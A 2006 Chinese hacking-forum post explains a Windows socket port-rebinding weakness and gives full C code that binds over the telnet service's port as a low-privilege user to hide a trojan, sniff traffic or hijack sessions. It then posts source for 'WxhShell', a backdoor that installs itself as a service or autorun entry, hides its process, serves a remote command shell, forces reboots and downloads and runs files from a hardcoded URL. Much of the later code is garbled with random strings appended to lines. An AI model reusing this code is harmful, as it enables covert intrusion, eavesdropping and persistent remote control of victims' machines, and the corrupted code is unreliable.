[讨论]用端口截听实现隐藏嗅探与攻击

ヾ1.嗰rёn

级别: 终身会员

发帖: 3743

铜板: 8

人品值: 493

贡献值: 9

交易币: 0

好评度: 3746

信誉值: 0

金币: 0

所在楼道

只看楼主更多操作楼层直达

0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; DgcS@N
if(chr[0]==0xd || chr[0]==0xa) { %J2Ad
pwd=0; b?OA|JqX
break; \E,2VM@6
} ?=4oxPe
i++; =YVxQj
} !HU$V9C
YK{J"Kof
// 如果是非法用户，关闭 socket 'cc8xC
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $"NH{%95}
} hfI=9x/
zZPWE"u}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }0\SNpVN
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xdbzpU
'.z7)n
while(1) { A z@@0
]cP%d-x}
ZeroMemory(cmd,KEY_BUFF); QAx9W%
xP~GpVhLF
// 自动支持客户端 telnet标准 ds+K7B$
j=0; \( V1-,
while(j<KEY_BUFF) { a]fFR~OY
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZKrK>X
cmd[j]=chr[0]; \?t8[N\_[(
if(chr[0]==0xa || chr[0]==0xd) { @` Pn<_L
cmd[j]=0; `lE&:)
break; I~F&@
} ,nL~?h-Zh
j++; j[i*;0) |
} \^,Jh|T
>;Oa|G
// 下载文件 C)FO:lLr\
if(strstr(cmd,"http://")) { @C@9Tw2Y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); QyL]-zNg
if(DownloadFile(cmd,wsh)) oy jkk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?*n@'
else $!. [R}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r4[=pfe25
} 1lIs jBo g
else { K_Y{50#
2~hdJ/
switch(cmd[0]) { wN'S+4
n:40T1:q
// 帮助 ,=CipL9]
case '?': { _+P*XY5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qspGNu
break; p/_W*0/i
} A@|Z^T:
// 安装 ^_v94!a9
case 'i': { P=EZ6<c3&
if(Install()) Gi-pi=#&cs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ht+roY
else R5QW4i9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2|\mBP`ok
break; I`XOvSO
} -"ZNkC=
// 卸载 V^FM-bg%9
case 'r': { )G/=3;!
if(Uninstall()) ESoqmCJjb:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "JmbYb#Z
else yxx_%9X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4w%hvJ
break; z)KoK`\mE"
} h(nE)j
// 显示 wxhshell 所在路径 s[{8:Px
case 'p': { Ay6T*Nu`
char svExeFile[MAX_PATH]; dEXhn
strcpy(svExeFile,"\n\r"); A4l"^dZc
strcat(svExeFile,ExeFile); _:Q^mV=;j
send(wsh,svExeFile,strlen(svExeFile),0); }P%gwgPK
break; $I-iq @
} 3F;0a ;[
// 重启 m`zd0IRTP
case 'b': { V9<E`C
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); chD7^&5]
if(Boot(REBOOT)) bny@AP(CY+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rkS'OC
else { +Q_xY>ej
closesocket(wsh); 0e"KdsA:<U
ExitThread(0); "Vc|D (g
} bZWR.</
break; YdvXp/P:|
} X)]>E]X
// 关机 !V#*(_+n
case 'd': { ?xKiN5q"6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /oe0
if(Boot(SHUTDOWN)) @.cord`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6C.!+km
else { P[H`]q|
closesocket(wsh); nUONI+6Z/
ExitThread(0); S|u5RU8*"|
} mhIGunK;+
break; ;QuxTmWp^
} 6k,@+@]t.
// 获取shell 0|va}m`<3G
case 's': { nq7)0F%e
CmdShell(wsh); >/.jB/q
closesocket(wsh); /:A239=+?
ExitThread(0); D.AiqO<z
break; wMF1HT<*
} 2\$<&]q
// 退出 }1CO>a<
case 'x': { >Gg[J=7`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aAoAjVNkK
CloseIt(wsh); ;/m>c{
break; S WsD]rn
} Rbm+V{EF&
// 离开 lKI]q<2
case 'q': { ,trh)ZZYW|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \iEJ9V
closesocket(wsh); ZKI` ;
WSACleanup(); Ca"i<[8
exit(1); !Y^$rF-+
break; S#+ _HFUK{
} .*EP$pc
} (#je0ES
} .q]K:}9!\
FGwgSrXL7
// 提示信息 IMSm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QKz2ONV=)
} Q(8W5Fb?
} c$A}mL_
e!i.u'z
return; =|-xj h
} F+xMXBD@>*
nYRD>S?uz
// shell模块句柄 <N80MUL|
int CmdShell(SOCKET sock) g5Hsz,x
{ I GcR5/3
STARTUPINFO si; S9/\L6Rmf
ZeroMemory(&si,sizeof(si)); DML0paOm5
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P#A|Pn<p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9D%~~~ %b
PROCESS_INFORMATION ProcessInfo; Q"xDRQA
char cmdline[]="cmd"; jTQN(a9Y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *OE>gg&?Nh
return 0; a~tBgy+9
} p-g@cwOu
E\}Q9,Z$
// 自身启动模式 kr1^`>O5
int StartFromService(void) d7c m?+
{ Z[j-.,Qu
typedef struct @qJv
{ d<;XQ.Wo7
DWORD ExitStatus; iN`L*h
DWORD PebBaseAddress; ER$~kFE2yP
DWORD AffinityMask; kS7T'[d
DWORD BasePriority; }>j1j^c1='
ULONG UniqueProcessId; ~0.@1zEXj
ULONG InheritedFromUniqueProcessId; YX2j;Y?
} PROCESS_BASIC_INFORMATION; >yqL
oWOH#w
PROCNTQSIP NtQueryInformationProcess; z#&qWO
\}qv}hU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]@1ncn7N
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RzSN,bLR
|@)ij c4i
HANDLE hProcess; bL7mlh
PROCESS_BASIC_INFORMATION pbi; /%N~$ &wW
WUi7~Ei}
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %}&9[#
if(NULL == hInst ) return 0; L'h'm{i
{la^useg[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R?\8SdJ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Un[#zh<4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &jPsdv h
gzdgnF2
if (!NtQueryInformationProcess) return 0; 8|Y^z_C
~yf5$~Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MN)<Tr2f
if(!hProcess) return 0; mKq9mA"(E
`Op ";E88
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %s)E}cGH
~GY;{
CloseHandle(hProcess); @49^WY
^jhHaN]G^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7y`~T+
if(hProcess==NULL) return 0; 2W~2Hk=0+%
TT&!WbA-Hk
HMODULE hMod; o_$r*Z|HG
char procName[255]; Ap>n4~
unsigned long cbNeeded; !!K=v7M
,|c_l)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \S2'3SDd/
sQH.}W$C
CloseHandle(hProcess); )d1,}o
T@HozZ
if(strstr(procName,"services")) return 1; // 以服务启动 #QDV_ziE5
Pr/&p0@aV
return 0; // 注册表启动 CC87<>V
} nocH~bAf2
!kKKJ~,;
// 主模块 )DLK<10
int StartWxhshell(LPSTR lpCmdLine) rC*nZ*
{ /iQ>he~fy
SOCKET wsl; SO&;]YO
BOOL val=TRUE; EX5kF
int port=0; D 7E^;W)H
struct sockaddr_in door; QY fS-
!c`1~a!
if(wscfg.ws_autoins) Install(); jKQP0 t-
:{6[U=O
port=atoi(lpCmdLine); 5Q'R5]?h
=UP)b9*h
if(port<=0) port=wscfg.ws_port; Gsh2
3a S>U #
WSADATA data; -T(V6&'Qi
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UX9o
";. 3+z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Tuy*Df
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fu><lN7
door.sin_family = AF_INET; \%VoX`B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); g?+P&FL#I
door.sin_port = htons(port); ?{dno=
+]_} \
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zj0&/S
closesocket(wsl); fjJIF%
return 1; *Ee# x!O
} %qv7;E2C
87/{\h
if(listen(wsl,2) == INVALID_SOCKET) { ZqGq%8\.s
closesocket(wsl); D.GSl
return 1; u!S{[7 FY
} A|+{x4s`
Wxhshell(wsl); 8YJ({ Ou_
WSACleanup(); Y#5S;?bR
zBR]bk\
return 0; +$'/!vN
BW;u?1Xa
} (^4%Fk&I-
7> QtO
// 以NT服务方式启动 32Z4&~I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dA~6{*)
{ U#P#YpD;==
DWORD status = 0; y%y#Pb|
DWORD specificError = 0xfffffff; q.t5L=l^ r
G#*;3X$
serviceStatus.dwServiceType = SERVICE_WIN32; 6bn-NY:i
serviceStatus.dwCurrentState = SERVICE_START_PENDING; b +_E)4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }1P
serviceStatus.dwWin32ExitCode = 0; yC5|"+ A$
serviceStatus.dwServiceSpecificExitCode = 0; 4c yv 8
serviceStatus.dwCheckPoint = 0; 5%$#3LT|
serviceStatus.dwWaitHint = 0; 3WYW])
m}E$6E^~O
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); koU.`l.
if (hServiceStatusHandle==0) return; td~3N,S
#]'xUgcE9
status = GetLastError(); cG'Wh@
if (status!=NO_ERROR) Ww~0k!8,t
{ l9h;dI{6
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^s*} 0
serviceStatus.dwCheckPoint = 0; )wRD
serviceStatus.dwWaitHint = 0; {1+H\(v
serviceStatus.dwWin32ExitCode = status; FRW.
serviceStatus.dwServiceSpecificExitCode = specificError; 8FITcK^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >seB["C
return; BSY#xe V
} m @%|Q;
wMoAvA_oS
serviceStatus.dwCurrentState = SERVICE_RUNNING; @!da1jN
serviceStatus.dwCheckPoint = 0; +9J>'oe'D
serviceStatus.dwWaitHint = 0; ^b~5zhY&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JNz0!wi
} df'g},_
L9@jmh*E
// 处理NT服务事件，比如：启动、停止 UK,P?_e
VOID WINAPI NTServiceHandler(DWORD fdwControl) K/-D 5U
{ As`^Ku&
switch(fdwControl) O#\>j
{ =.c"&,c?L
case SERVICE_CONTROL_STOP: ~e<<aTwN
serviceStatus.dwWin32ExitCode = 0; wW4S@m
serviceStatus.dwCurrentState = SERVICE_STOPPED; i]z i[Zo$
serviceStatus.dwCheckPoint = 0; h(-&.Sm")H
serviceStatus.dwWaitHint = 0; Q/9b'^UJ
{ [}p.*U_nw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @gc"-V*-/
} EoeEg,'~F
return; EiUV?Gvz
case SERVICE_CONTROL_PAUSE: P$Q&xN<#)
serviceStatus.dwCurrentState = SERVICE_PAUSED; M}Mzm2d#`
break; ?s]`G'=>V`
case SERVICE_CONTROL_CONTINUE: JPG!cX%
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4/?Zp4g
break; fna>>
case SERVICE_CONTROL_INTERROGATE: gOM`I+CwT
break; pS;dvZ
}; D.b<I79bX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 y%R
} }[`?#`sW
lijy?:__
// 标准应用程序主函数 cG:`Zj~4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d ] ;pG(
{ `uHpj`EU
P}`1#$
// 获取操作系统版本 kVv <tw
OsIsNt=GetOsVer(); }q W aE
GetModuleFileName(NULL,ExeFile,MAX_PATH); k;5}@3iQ
r.;iO0[/
// 从命令行安装 Rjl__90
if(strpbrk(lpCmdLine,"iI")) Install(); rR~X>+K
`WS_*fJ5
// 下载执行文件 8)8oR&(f
if(wscfg.ws_downexe) { sIsu >eL
